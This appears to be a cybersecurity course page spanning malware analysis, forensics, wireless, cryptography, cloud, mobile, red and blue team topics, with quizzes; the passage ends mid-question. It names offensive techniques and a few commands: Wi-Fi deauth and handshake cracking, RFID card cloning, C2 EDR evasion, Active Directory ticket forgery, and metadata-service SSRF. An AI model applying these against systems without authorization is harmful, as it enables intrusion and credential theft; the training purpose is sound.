Assembly fundamentals: x86/x64 registers (EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP, EIP). Common instructions: MOV, PUSH, POP, CALL, RET, JMP, CMP, JNE/JE. Stack operations are critical for understanding function calls.

Ghidra workflow: load binary → analyze → view functions → decompile (F5) → rename variables → understand logic. Focus on: entry point, API imports, string references, and cryptographic constants.

Anti-analysis techniques: packers (UPX, Themida) — unpack before analysis. Anti-debugging: INT 2D, IsDebuggerPresent, timing checks. Anti-VM: check for VMware/VirtualBox artifacts. Bypass with ScyllaHide or manual patching.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What register holds the instruction pointer in x86?

A. EAX
B. ESP
C. EIP
D. EBP
EIP (Extended Instruction Pointer) holds the address of the next instruction to execute.

📝 Quick Quiz

Which malware spreads without the victim running a file?

A. Trojan
B. Worm
C. Ransomware
D. Rootkit
Worms self-replicate across networks automatically.

📝 Quick Quiz

Static malware analysis:

A. Executes the sample
B. Examines code/strings without running it
C. Sends it to a botnet
D. Installs it
Static analysis inspects bytes, imports, and strings in a safe environment.

📝 Quick Quiz

A sandbox is mainly used for:

A. Storing backups
B. Dynamic analysis of malware in isolation
C. Compiling exploits
D. Packet capture
Sandboxes run suspicious files while monitoring their behavior.

📝 Quick Quiz

Ransomware's primary goal is to:

A. Steal credentials
B. Encrypt data and demand payment
C. Mine crypto
D. Hide as a service
Ransomware encrypts files and extorts the victim for the key.

Digital Forensics & Incident Response

Master forensic investigation, evidence collection, memory analysis, and incident response procedures.

⚡ Quick Reference
Command / TermWhat it does
Order of volatilityCPU/registers > RAM > disk > backups
AcquisitionForensic image = bit-for-bit copy
HashingSHA-256 verifies evidence integrity
AutopsyOpen-source forensic workbench
VolatilityRAM memory analysis
Windows artifactsPrefetch, $MFT, Event Logs, Registry
Chain of custodyDocument evidence handling
Timeline analysisCorrelate events by timestamps

Forensic Investigation Methodology

Chain of custody: document every person who handles evidence. Use write-blockers for disk imaging. Order of volatility: capture memory first, then disk, then network. Document everything with timestamps.

Disk imaging: dd if=/dev/sda of=image.dd bs=4M or FTK Imager. Calculate hashes: md5sum image.dd && sha256sum image.dd to verify integrity. Mount images read-only for analysis.

Timeline analysis: Plaso/log2timeline creates super-timelines from multiple sources. Autopsy provides GUI-based analysis. Reconstruct user activity, file access, and system events chronologically.

John Hammond
John Hammond

📝 Quick Quiz

What should be captured first in forensic investigation?

A. Memory dump
B. Network traffic
C. Registry
D. Disk image
Memory is the most volatile evidence and should be captured first before it's lost.

Memory Forensics

Volatility: volatility -f memory.dump imageinfo → identify OS. volatility -f mem.dump --profile=Win7SP1x64 pslist (processes). volatility -f mem.dump --profile=Win7SP1x64 netscan (network connections).

Key plugins: pslist/pstree (running processes), malfind (inject code), hivelist (registry hives), hashdump (SAM database), filescan (open files), dumpfiles (extract files).

Extract: running processes, network connections, loaded DLLs, registry hives, command history, clipboard contents, and encryption keys. Memory analysis reveals attacks that leave no disk artifacts.

John Hammond
John Hammond

📝 Quick Quiz

What Volatility plugin detects injected code in processes?

A. hivelist
B. malfind
C. pslist
D. netscan
malfind detects injected code and hidden processes by scanning for suspicious memory patterns.

Disk & File System Forensics

File system analysis: NTFS ($MFT, $LogFile), ext4 (journal), FAT32. Recover deleted files from unallocated space. Analyze file metadata (MAC times: Modified, Accessed, Created).

AUTOPSY: GUI-based disk analysis — file recovery, keyword search, web artifacts, email analysis, picture viewer, timeline. Sleuth Kit: CLI tools for file system analysis.

Browser forensics: extract history, cookies, cache, bookmarks from Chrome, Firefox, Edge. Eric Zimmerman tools: registry analysis (Registry Explorer), prefetch analysis (Prefetch), shellbag analysis, LNK file analysis.

John Hammond
John Hammond

📝 Quick Quiz

What NTFS metadata file tracks all file system transactions?

A. $LogFile
B. $Volume
C. $MFT
D. $Bitmap
$LogFile is the NTFS journal that records all file system transactions for recovery purposes.

Incident Response Procedures

NIST IR lifecycle: Preparation → Detection & Analysis → Containment → Eradication & Recovery → Post-Incident Activity. Each phase has specific procedures and deliverables.

Containment: short-term (isolate affected systems) and long-term (apply patches, update rules). Eradication: remove malware, close vulnerabilities, reset credentials. Recovery: restore from clean backups, monitor for reinfection.

Documentation: incident timeline, affected systems, IOCs, actions taken, lessons learned. DFIR-IRCS and SANS PICERL frameworks provide structured approaches. Post-incident: update playbooks, improve detection, conduct tabletop exercises.

John Hammond
John Hammond

📝 Quick Quiz

What is the first phase of the NIST Incident Response lifecycle?

A. Detection
B. Preparation
C. Recovery
D. Containment
Preparation is the first phase — building IR capabilities before incidents occur.

📝 Quick Quiz

The very first step of incident forensics is:

A. Analyzing the hard drive
B. Preserving and securing evidence
C. Interviewing suspects
D. Rebuilding the system
Preserve evidence (image, hashes, chain of custody) before any analysis.

📝 Quick Quiz

Hashing during acquisition verifies:

A. Data integrity
B. File ownership
C. Network speed
D. Disk health
Matching hashes prove the image is a faithful copy of the original.

📝 Quick Quiz

Windows prefetch files contain:

A. Deleted files
B. Program execution history
C. Email drafts
D. WiFi passwords
Prefetch records recently executed applications with timestamps.

📝 Quick Quiz

A forensic image is:

A. A compressed archive
B. An exact bit-for-bit copy of the drive
C. A file listing
D. A cloud backup
Imaging duplicates every bit, including deleted and hidden data.

Wireless, Bluetooth & RF Hacking

Master wireless network attacks, Bluetooth exploitation, SDR, and RF security testing.

⚡ Quick Reference
Command / TermWhat it does
airmon-ng start wlan0Enable monitor mode
airodump-ng wlan0monCapture beacons and handshakes
aircrack-ng cap.pcapCrack WPA handshake
Evil twinRogue AP impersonating a legit network
Deauth attackForce clients to reconnect (capture handshake)
WPS pin attackreaver bruteforces WPS PIN
BluetoothPairing attacks, bluejacking
WPA2AES-CCMP; WPA3 adds SAE

Wi-Fi Security & Attacks

Wi-Fi protocols: WEP (broken — recover key in minutes), WPA (TKIP — vulnerable), WPA2 (AES-CCMP — current standard), WPA3 (SAE — resistant to offline attacks). Enterprise uses 802.1X with RADIUS.

Attacks: Handshake capture: airodump-ngaireplay-ng -0 (deauth) → capture 4-way handshake → aircrack-ng (dictionary attack). PMKID attack: no client needed, capture PMKID from AP.

Tools: Aircrack-ng suite (airmon, airodump, aireplay, airdecap). Wifite: automated wireless auditing. Hashcat: GPU-accelerated PMKID/handshake cracking. Enterprise attacks: hostapd-mana (evil twin with credential capture).

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

Which Wi-Fi protocol is resistant to offline dictionary attacks?

A. WPA3
B. WEP
C. WPA2
D. WPA
WPA3 uses SAE (Simultaneous Authentication of Equals) which prevents offline dictionary attacks.

Bluetooth & BLE Exploitation

Bluetooth attacks: Bluejacking (send unsolicited messages), Bluesnarfing (steal data), Bluebugging (full control). KNOB attack: forces weak encryption key negotiation.

BLE (Bluetooth Low Energy): widely used in IoT, medical devices, trackers. GATTacker: intercept BLE communications. Sweyntooth: vulnerabilities in BLE stacks. Braktooth: firmware-level Bluetooth vulnerabilities.

Tools: Ubertooth One (BLE sniffing), RTL-SDR (2.4 GHz monitoring), BtleJuice (BLE MitM). hcitool, bluesnarfer, Bluetoothd. Always test with proper authorization — RF testing may violate regulations.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What is Bluesnarfing?

A. Jamming Bluetooth signals
B. Stealing data via Bluetooth
C. Sending unsolicited messages
D. Cracking Bluetooth PINs
Bluesnarfing is unauthorized access to information from a wireless device through a Bluetooth connection.

Software Defined Radio (SDR)

SDR uses software to process radio signals. Hardware: RTL-SDR ($25, receive-only), HackRF One ($300, TX/RX), Yard Stick One (sub-1 GHz TX/RX), Proxmark3 (RFID/NFC).

Applications: ISM band monitoring (433 MHz, 915 MHz), ADS-B tracking (aircraft), FM radio, POCSAG/pager, TPMS (tire pressure sensors). Use GNU Radio for signal processing.

RFID/NFC: Proxmark3 reads/writes RFID tags. Clone access cards (lf hid clone), analyze contactless payments, test physical access control systems. Understand modulation: AM, FM, PM, FSK, PSK.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What is the most affordable SDR hardware for receiving radio signals?

A. RTL-SDR
B. Proxmark3
C. HackRF One
D. Yard Stick One
RTL-SDR is a $25 receive-only SDR based on RTL2832U chipset, ideal for beginners.

Wireless Network Defense

Defense: WPA3-Enterprise with 802.1X (certificate-based auth). Network segmentation: separate wireless from critical infrastructure. WIDS/WIPS: detect rogue APs and evil twin attacks.

Monitor: Kismet (wireless IDS), WiFi Monitor (Android). Detect deauth attacks (802.11w PMF), unauthorized APs, and unusual traffic patterns. Log and alert on anomalies.

Best practices: disable WPS, use strong passphrases (20+ characters), update AP firmware, implement MAC filtering (supplementary), use 802.1X for enterprise. Regular wireless audits with Wifite or Aircrack-ng.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What protocol protects against deauthentication attacks?

A. MAC filtering
B. PMF (802.11w)
C. WEP
D. WPS
Protected Management Frames (802.11w) prevent deauthentication and disassociation attacks.

📝 Quick Quiz

Why was WEP abandoned?

A. Too fast
B. Weak, predictable RC4 encryption
C. No SSID support
D. It required WPA3
WEP's 24-bit IVs and RC4 weakness allow cracking in minutes.

📝 Quick Quiz

WPA2 uses which encryption standard?

A. DES
B. AES-CCMP
C. 3DES
D. Blowfish
WPA2-AES with CCMP replaced the broken TKIP of WPA.

📝 Quick Quiz

An evil twin attack:

A. Clones the DNS server
B. Impersonates a legitimate access point
C. Jams all signals
D. Decrypts WPA2
The rogue AP uses the same SSID to intercept connections.

📝 Quick Quiz

A WPS PIN brute force targets:

A. The 8-digit router PIN
B. The WiFi password length
C. MAC filtering
D. Client certificates
WPS PINs are 8 digits but only ~11,000 effective combinations (last digit is a checksum), making them brute-forceable — and vulnerable to offline PIN recovery via Pixie Dust.

Cryptography

Understand encryption, hashing, PKI, and cryptographic attacks used in cybersecurity.

⚡ Quick Reference
Command / TermWhat it does
HashingOne-way: SHA-256, MD5 (broken), bcrypt
SymmetricSame key: AES-256, ChaCha20
AsymmetricKey pair: RSA, ECC
PKICertificates + CAs + trust
TLS handshakeHello -> Cert exchange -> Key exchange -> Encrypted
SaltAdds randomness to password hashes
HMACHash + secret key (integrity + auth)
opensslgenrsa, req, x509, s_client

Symmetric & Asymmetric Encryption

Symmetric: same key encrypt/decrypt. Fast: AES (128/192/256-bit, block cipher), ChaCha20 (stream cipher). Key distribution is the challenge. DES (broken), 3DES (deprecated).

Asymmetric: public/private key pair. RSA (2048+ bit), ECC (elliptic curve, smaller keys). Used for key exchange and digital signatures. Slower than symmetric — typically used to exchange symmetric keys.

Hybrid encryption: use asymmetric to exchange a symmetric session key, then symmetric for bulk data. TLS/SSL uses this approach. Key exchange: Diffie-Hellman, ECDH. Perfect Forward Secrecy: ephemeral keys prevent past session decryption.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

Which symmetric encryption algorithm is the current industry standard?

A. DES
B. Blowfish
C. 3DES
D. AES
AES (Advanced Encryption Standard) with 128/256-bit keys is the current industry standard for symmetric encryption.

Hashing & Digital Signatures

Hashing: one-way function producing fixed-size output. SHA-256 (cryptographic), SHA-3 (latest). MD5 and SHA-1 are broken — collisions found. Used for integrity verification and password storage.

HMAC: hash-based message authentication code — combines hash with secret key for authentication. Password hashing: bcrypt, scrypt, Argon2 (memory-hard, resist GPU cracking). Never store plaintext passwords.

Digital signatures: sign with private key, verify with public key. Ensures authenticity and non-repudiation. RSA signatures, ECDSA, EdDSA. Used in code signing, TLS certificates, and email encryption (PGP/GPG).

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

Which hash algorithm is considered cryptographically broken?

A. SHA-3
B. SHA-256
C. MD5
D. Argon2
MD5 has known collision vulnerabilities and should not be used for security purposes.

PKI & Certificates

Public Key Infrastructure (PKI): hierarchical trust model. Certificate Authority (CA) issues certificates. Root CAsIntermediate CAsEnd-entity certificates. Browser trust stores contain root CAs.

X.509 certificates contain: subject, issuer, validity period, public key, signature algorithm, and extensions. Certificate Transparency (CT) logs all issued certificates publicly. OCSP and CRL check revocation status.

TLS handshake: Client Hello → Server Hello + Certificate → Key Exchange → Finished. Modern: TLS 1.3 (1-RTT, removes legacy ciphers). HSTS: force HTTPS. Certificate pinning: limit trusted CAs.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What protocol replaced SSL for encrypted web communications?

A. SSH
B. TLS
C. PGP
D. IPsec
TLS (Transport Layer Security) replaced SSL and is the standard for encrypted web communications.

Cryptographic Attacks

Brute force: try all possible keys. Dictionary attack: try common passwords. Rainbow tables: precomputed hash chains — defeat with salt. Timing attacks: measure computation time to infer secrets.

Padding oracle: exploit error messages to decrypt CBC ciphertext. Bleichenbacher: RSA padding oracle. Meet-in-the-middle: breaks double encryption. Downgrade attacks: force weak cipher suites.

Side-channel attacks: Power analysis, electromagnetic emanation, acoustic cryptanalysis. ROCA (CVE-2017-15361): Infineon RSA key generation vulnerability. Always use well-vetted cryptographic libraries — never implement your own crypto.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What attack uses precomputed hash tables to crack passwords?

A. Brute force
B. Padding oracle
C. Rainbow table attack
D. Timing attack
Rainbow tables use precomputed hash chains to quickly reverse hash functions, defeated by salting.

📝 Quick Quiz

Which is a cryptographic hash function?

A. AES
B. SHA-256
C. RSA
D. Diffie-Hellman
SHA-256 produces a fixed-size one-way digest; AES/RSA are ciphers.

📝 Quick Quiz

RSA is best described as:

A. A hash
B. An asymmetric cipher
C. A block cipher only
D. A MAC
RSA uses a public/private key pair — asymmetric cryptography.

📝 Quick Quiz

AES-256 is a:

A. Symmetric block cipher
B. Hash
C. PKI standard
D. Key exchange
AES uses the same key for encryption and decryption.

📝 Quick Quiz

HTTPS traffic is protected by:

A. SSL certificates via TLS
B. Hashing only
C. Base64
D. IPsec
TLS (with certificates) encrypts and authenticates HTTPS.

Cloud & Container Security

Master cloud security, container orchestration, serverless security, and cloud-native attacks.

⚡ Quick Reference
Command / TermWhat it does
IAMIdentity and Access Management (users/roles/policies)
S3 misconfigPublic buckets expose data
SecretsNever hardcode keys; use secret managers
ContainersShare host kernel; escape = host compromise
KubernetesOrchestrator; RBAC + network policies
ServerlessAuto-scaling functions; check permissions
Metadata service169.254.169.254 - SSRF target
BenchmarksCIS AWS/Azure/GCP foundations

AWS/Azure/GCP Security Fundamentals

AWS: IAM (users, roles, policies), Security Groups (stateful), NACLs (stateless), VPC (isolation), CloudTrail (audit logging), GuardDuty (threat detection). Shared responsibility model: cloud provider secures infrastructure, you secure data and configs.

Azure: Azure AD (identity), NSGs (network), Azure Sentinel (SIEM), Defender for Cloud (CSPM). GCP: IAM, VPC Firewall, Cloud Armor, Security Command Center. Each has unique security services and misconfiguration patterns.

Common cloud misconfigurations: public S3 buckets, open security groups, excessive IAM permissions, unencrypted storage, exposed database ports, and overly permissive CORS policies. Automated scanning with ScoutSuite, Prowler (AWS), CloudSploit.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What is the shared responsibility model?

A. Users handle all security
B. Security is shared equally
C. Cloud provider handles all security
D. Provider secures infrastructure, you secure data
The shared responsibility model divides security duties: the provider secures the infrastructure, the customer secures their data and configurations.

Container Security (Docker & Kubernetes)

Docker security: scan images (trivy image nginx:latest), use minimal base images (alpine), run as non-root (USER app), don't store secrets in images, use read-only filesystems.

Kubernetes: RBAC (least privilege), Network Policies (micro-segmentation), Pod Security Policies, Secrets management (Vault), audit logging. kube-hunter: scan K8s clusters for vulnerabilities.

Container escapes: exploit kernel vulnerabilities (DirtyPipe), misconfigured capabilities, container runtime vulnerabilities (CVE-2019-5736 runc). Defense: update runtimes, restrict capabilities, use seccomp profiles, enable AppArmor/SELinux.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What tool scans container images for vulnerabilities?

A. Wireshark
B. Nmap
C. Metasploit
D. Trivy
Trivy is a comprehensive vulnerability scanner for container images, filesystems, and repositories.

Serverless & API Security

Serverless (AWS Lambda, Azure Functions): event-driven, ephemeral. Attacks: event injection, excessive permissions, insecure dependencies, environment variable exposure, and cold start timing attacks.

API security: broken authentication, excessive data exposure, lack of rate limiting, mass assignment, and injection. Test with OWASP API Security Top 10. Use Postman and OWASP ZAP for API testing.

Defense: API gateways, authentication (OAuth 2.0, JWT), rate limiting, input validation, schema enforcement, and logging. Monitor for anomalous API usage patterns indicating compromise or abuse.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What is a common serverless attack vector?

A. VLAN hopping
B. Buffer overflow
C. Event injection
D. ARP spoofing
Event injection attacks manipulate the event data that triggers serverless functions to execute malicious code.

Cloud Penetration Testing

Cloud pentest methodology: Recon (enumerate cloud services, IAM, storage), Enumerate (S3 buckets, EC2 instances, Lambda functions), Exploit (misconfigs, IAM abuse, metadata attacks), Post-exploit (pivot, escalate, exfiltrate).

AWS attacks: IMDSv1 metadata service (SSRF → credentials), S3 bucket enumeration, IAM privilege escalation, Lambda backdoor. Use Pacu (AWS exploitation framework).

Tools: Prowler (AWS security audit), ScoutSuite (multi-cloud), CloudMapper (AWS visualization), Stratus Red Team (cloud attack simulation). Document all findings with cloud-specific remediation guidance.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What AWS metadata service version is vulnerable to SSRF-based credential theft?

A. Both
B. Neither
C. IMDSv1
D. IMDSv2
IMDSv1 doesn't require a session token, making it vulnerable to SSRF attacks that steal IAM credentials.

📝 Quick Quiz

IAM in cloud computing manages:

A. Container images
B. Identities, roles, and permissions
C. Virtual networks
D. Billing only
IAM controls who can access which cloud resources and how.

📝 Quick Quiz

An open (public) S3 bucket can lead to:

A. Faster uploads
B. Exposure of sensitive data
C. Lower costs
D. Automatic patching
Misconfigured permissions expose stored objects to anyone.

📝 Quick Quiz

Containers differ from VMs because they:

A. Have their own kernel
B. Share the host kernel
C. Require hypervisors
D. Use more RAM
Containers isolate processes but share the host OS kernel.

📝 Quick Quiz

Serverless functions:

A. Always run on dedicated VMs
B. Auto-scale without managing servers
C. Require SSH access
D. Never touch the internet
Serverless (e.g. AWS Lambda) abstracts servers and scales automatically.

Mobile Security

Mobile application security testing, Android/iOS exploitation, and mobile device management.

⚡ Quick Reference
Command / TermWhat it does
adb devicesList connected Android devices
adb install app.apkInstall APK
adb shellInteractive Android shell
JadxDecompile APK to Java
RootingFull control; enables deeper testing
JailbreakiOS equivalent
Insecure storagePlaintext data in app files/databases
ARTAndroid Runtime - app sandbox per user

Android Security & Exploitation

Android architecture: Linux kernel → HAL → Native libraries → Android Runtime → Framework → Applications. Security: SELinux, app sandboxing, permission model, verified boot, and Google Play Protect.

Static analysis: decompile APK with apktool (resources), jadx (Java source), DEX2JAR. Look for hardcoded secrets, insecure storage, weak crypto, and improper certificate validation.

Dynamic analysis: Frida (runtime instrumentation), Drozer (Android security testing framework), Objection (runtime mobile exploration). Bypass root detection, SSL pinning, and extract sensitive data.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What tool decompiles Android APKs to Java source code?

A. jadx
B. Drozer
C. Frida
D. apktool
jadx decompiles DEX bytecode to readable Java source code for static analysis.

iOS Security & Testing

iOS security: Secure Enclave, code signing, app sandboxing, Keychain, data protection API. Jailbreaking removes restrictions but voids warranty. checkra1n (bootrom exploit), unc0ver (kernel exploit).

Analysis: ipadump (extract IPA), class-dump (Objective-C headers), Frida (runtime hooking). Test for insecure data storage, weak cryptography, and URL scheme hijacking.

Common vulnerabilities: insecure Keychain storage, bypassing Touch ID/Face ID, URL scheme injection, insecure logging, and clipboard data exposure. Use Burp Suite with iOS proxy for network traffic analysis.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What component handles cryptographic operations on iOS devices?

A. Secure Enclave
B. SELinux
C. Android Keystore
D. Keychain
The Secure Enclave is a dedicated hardware security processor for cryptographic operations on iOS devices.

Mobile Penetration Testing Tools

Frida: dynamic instrumentation toolkit. Hook functions, modify behavior, bypass security controls. frida -U -f com.app -l hook.js. Objection: runtime mobile exploration built on Frida.

Drozer: Android security framework. drozer console connect → enumerate activities, services, broadcast receivers. Test for exported components and permission issues.

Burp Suite: mobile proxy for intercepting HTTP/S traffic. Configure Android/iOS to use Burp as proxy. Install Burp CA certificate for HTTPS interception. Test API endpoints for vulnerabilities.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What is the primary tool for runtime mobile application instrumentation?

A. Nmap
B. SQLMap
C. Frida
D. Hydra
Frida is the leading dynamic instrumentation toolkit for hooking and modifying mobile app behavior at runtime.

Mobile Device Management & BYOD

MDM (Mobile Device Management): enterprise control over devices. Solutions: Microsoft Intune, VMware Workspace ONE, Jamf (Apple). Enforce policies: passcode requirements, encryption, remote wipe, app restrictions.

BYOD (Bring Your Own Device): personal devices in enterprise. Challenges: data separation, privacy concerns, compliance. Solutions: containerization (work profile on Android), MAM (Mobile Application Management).

Threats: lost/stolen devices, malicious apps, unsecured Wi-Fi, jailbroken/rooted devices, data leakage. Defense: MDM/MAM policies, certificate-based authentication, VPN, mobile threat defense (MTD), and employee training.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What does MDM stand for?

A. Malware Detection Module
B. Mobile Data Monitoring
C. Multi-Domain Management
D. Mobile Device Management
MDM (Mobile Device Management) provides enterprise control over mobile devices including policy enforcement and remote management.

📝 Quick Quiz

Modern Android apps are sandboxed using:

A. Per-app Linux user IDs
B. IP addresses
C. MAC filtering
D. App Store review
Each app runs as a distinct Linux user, limiting access to others.

📝 Quick Quiz

Which is a common mobile app security flaw?

A. Large icon files
B. Storing secrets in plaintext
C. Dark mode
D. Push notifications
Insecure local storage leaks tokens and data to other apps/root users.

📝 Quick Quiz

Rooting an Android device grants:

A. App Store access
B. Full filesystem and kernel control
C. Better battery
D. Guaranteed security
Root = unrestricted access, useful for analysis but risky.

📝 Quick Quiz

iOS apps are typically distributed through:

A. Play Store
B. The App Store
C. APKs
D. F-Droid
iOS uses the App Store; side-loading requires special channels.

Red Team Operations

Advanced adversary simulation, tactics, techniques, and procedures for red team engagements.

⚡ Quick Reference
Command / TermWhat it does
MITRE ATT&CKTactics/Techniques/Procedures framework
Kill chain mappingMap attack to ATT&CK techniques
C2Command & Control channel
OPSECKeep operations hidden: encrypt, blend traffic
Adversary emulationMimic a specific threat actor
Purple teamRed + Blue working together
DeceptionHoneypots, canaries
EngagementTime-boxed, goals defined upfront

Red Team Planning & Execution

Red team engagements simulate real-world adversaries. Planning: define objectives (gain domain admin, exfiltrate data), scope (systems, techniques), and rules of engagement. Create a Threat Actor Profile to emulate specific TTPs.

Execution phases: Initial Access (phishing, web exploits, supply chain), Establish Foothold (C2 deployment, persistence), Escalate (local privesc, domain escalation), Lateral Move (credential reuse, pivoting), Objective (data exfil, domain compromise).

Use MITRE ATT&CK to map techniques and ensure comprehensive coverage. Document every action with timestamps, screenshots, and evidence. The goal is to test detection and response capabilities, not just find vulnerabilities.

John Hammond
John Hammond

📝 Quick Quiz

What framework maps adversary tactics and techniques for red team planning?

A. ISO 27001
B. NIST CSF
C. OWASP Top 10
D. MITRE ATT&CK
MITRE ATT&CK provides a comprehensive knowledge base of adversary tactics, techniques, and procedures.

Command & Control Infrastructure

C2 setup: Redirectors (nginx, domain fronting), Listeners (HTTPS, DNS, SMB), Malleable C2 profiles (mimic legitimate traffic). Infrastructure: VPS providers, CDN for domain fronting, multiple domains.

Evasion: sleep jitter, encrypted communications, custom loaders, process injection, unhooking EDR. Use BOF (Beacon Object Files) for in-memory execution. Malleable profiles mimic Google, jQuery, or cloud service traffic.

Tools: Cobalt Strike (industry standard), Sliver (open-source), Havoc (modern), Brute Ratel (EDR evasion). Consider OPSEC: avoid known IOCs, rotate infrastructure, use unique payloads per engagement.

John Hammond
John Hammond

📝 Quick Quiz

What C2 technique mimics legitimate web traffic?

A. DNS tunneling
B. SMB beacons
C. Domain fronting
D. ICMP callbacks
Domain fronting uses CDN infrastructure to disguise C2 traffic as legitimate HTTPS to trusted domains.

Active Directory Attacks

AD attack chain: enumerate → escalate → persist → exfiltrate. BloodHound: map attack paths to Domain Admin. SharpHound: collect AD data. PowerView: enumerate AD objects, ACLs, and trusts.

Escalation: Kerberoasting (crack service tickets), AS-REP Roasting (target no-preauth accounts), Unconstrained Delegation (capture TGTs), PrintNightmare (RCE as SYSTEM), Zerologon (domain takeover).

Persistence: Golden Ticket (forged TGT), Diamond Ticket (forged TGT with legitimate TGT), Skeleton Key (inject into LSASS), AdminSDHolder (ACL persistence). Each has different detection signatures.

John Hammond
John Hammond

📝 Quick Quiz

What AD attack forges a TGT using the domain hash?

A. Kerberoasting
B. DCSync
C. Golden Ticket
D. Pass-the-Hash
Golden Ticket creates a forged Ticket Granting Ticket using the KRBTGT account hash, providing domain-wide access.

Physical Security & Social Engineering

Physical security testing: Lock picking, badge cloning, tailgating, USB drop attacks. Test building access controls, visitor management, and clean desk policies.

Social engineering campaigns: Phishing (email), vishing (phone), smishing (SMS), pretexting (fabricated scenarios). Use OSINT to craft convincing lures targeting specific employees.

Tools: GoPhish (phishing campaigns), SET (social engineering toolkit), Evilginx2 (real-time proxy phishing). Measure click rates, credential submission rates, and reporting rates to assess security awareness.

John Hammond
John Hammond

📝 Quick Quiz

What type of social engineering uses phone calls?

A. Smishing
B. Pretexting
C. Phishing
D. Vishing
Vishing (voice phishing) uses phone calls to manipulate targets into revealing sensitive information.

📝 Quick Quiz

MITRE ATT&CK organizes adversary behavior into:

A. CVSS scores
B. Tactics and techniques
C. Ranks and badges
D. Log formats
ATT&CK maps techniques to tactics like Initial Access and Lateral Movement.

📝 Quick Quiz

TTP stands for:

A. Tactics, Techniques, and Procedures
B. Trust, Testing, and Patching
C. Tools, Targets, and Payloads
D. Time, Traffic, and Packets
TTPs describe how a threat actor operates.

📝 Quick Quiz

Adversary emulation is based on:

A. Random tools
B. Real, documented threat actors
C. Pen-test templates
D. Firewall rules
Emulation mimics specific APT groups to test defenses realistically.

📝 Quick Quiz

Poor OPSEC during an engagement can:

A. Speed up reporting
B. Expose the attacker's activity to defenders
C. Guarantee success
D. Skip permissions
OPSEC mistakes (C2 patterns, artifacts) reveal the operation.

Blue Team & Defensive Security

Defensive security operations, threat detection, incident response, and security monitoring.

⚡ Quick Reference
Command / TermWhat it does
SOCSecurity Operations Center
SIEMCentral log collection + alerting
EDREndpoint detection/response
IR phasesPreparation, Detection, Containment, Eradication, Recovery, Lessons
Threat huntingProactive hypothesis-driven search
PlaybooksDocumented response procedures
IOCsIndicators of Compromise: IPs, hashes, domains
SOARAutomation of security operations

Security Operations Center (SOC)

SOC tiers: Tier 1 (alert triage, initial analysis), Tier 2 (deep investigation, threat hunting), Tier 3 (advanced analysis, malware reverse engineering). SOC analysts monitor SIEM, EDR, and network security tools.

SIEM deployment: Splunk, ELK Stack, Wazuh, Microsoft Sentinel. Ingest logs from firewalls, endpoints, proxies, DNS, and applications. Create correlation rules for known attack patterns.

Alert management: tune false positives, prioritize by severity, document investigation steps, escalate confirmed incidents. Use SOAR platforms (Splunk SOAR, Phantom) to automate repetitive response actions.

John Hammond
John Hammond

📝 Quick Quiz

What does SIEM stand for?

A. Server Incident Emergency Manager
B. Secure Internet Encryption Module
C. Security Information and Event Management
D. System Intrusion Event Monitor
SIEM (Security Information and Event Management) aggregates and analyzes security events from across the infrastructure.

Threat Detection & Hunting

Detection engineering: create rules for known TTPs. YARA: malware signatures. Sigma: generic detection rules for SIEM. Snort/Suricata: network IDS rules. Map detections to MITRE ATT&CK.

Threat hunting: proactively search for IOCs and TTPs. Hypothesis-driven: 'Adversary may use PowerShell for C2.' Test with data analysis, log queries, and behavioral analytics. Use Jupyter notebooks for analysis.

Behavioral analytics: UEBA (User and Entity Behavior Analytics) establishes baselines and detects anomalies. Monitor for: unusual login times, lateral movement, data access patterns, and process execution anomalies.

John Hammond
John Hammond

📝 Quick Quiz

What rule format is used for generic SIEM detection rules?

A. Sigma
B. IDS
C. YARA
D. Snort
Sigma is a generic signature format for SIEM systems, providing vendor-agnostic detection rules.

Incident Response & Forensics

NIST IR lifecycle: Preparation → Detection → Containment → Eradication → Recovery → Lessons Learned. Each phase has specific procedures, tools, and deliverables.

Containment strategies: network isolation, account disabling, DNS sinkholing, firewall rule updates. Eradication: remove malware, patch vulnerabilities, reset credentials. Recovery: restore from clean backups, monitor for reinfection.

DFIR tools: Velociraptor (endpoint visibility), Autopsy (disk forensics), Volatility (memory forensics), KAPE (triage collection). Document everything for potential legal proceedings.

John Hammond
John Hammond

📝 Quick Quiz

What is the first step in incident containment?

A. Isolate affected systems
B. Eradicate malware
C. Restore from backups
D. Notify management
Isolating affected systems prevents the incident from spreading while investigation continues.

Vulnerability Management

Vulnerability management lifecycle: Discover (scan), Assess (prioritize), Remediate (patch/mitigate), Verify (rescan), Report (metrics). Continuous process, not one-time.

Scanning tools: Nessus, OpenVAS, Qualys, Rapid7 InsightVM. Scan frequency: critical assets weekly, all assets monthly. Prioritize by CVSS score, exploitability, and asset criticality.

Metrics: Mean Time to Remediate (MTTR), vulnerability density, patch coverage, SLA compliance. Track trends over time to demonstrate improvement. Integrate with ticketing systems for workflow management.

John Hammond
John Hammond

📝 Quick Quiz

What metric measures average time to fix vulnerabilities?

A. MTTR
B. CVSS
C. SLA
D. MTBF
MTTR (Mean Time to Remediate) measures the average time from vulnerability discovery to remediation.

📝 Quick Quiz

A SIEM provides:

A. Firewall rules
B. Centralized log collection and alerting
C. Antivirus signatures
D. Network cabling
SIEMs aggregate logs and raise alerts from correlated events.

📝 Quick Quiz

The first phase of incident response is:

A. Recovery
B. Preparation
C. Containment
D. Eradication
IR starts with preparation so teams can respond when incidents occur.

📝 Quick Quiz

Threat hunting is best described as:

A. Reactive ticket handling
B. Proactively searching for hidden threats
C. Installing firewalls
D. Patching servers
Hunters form hypotheses and dig for signs of compromise beyond alerts.

📝 Quick Quiz

Which is a classic indicator of compromise?

A. CPU temperature
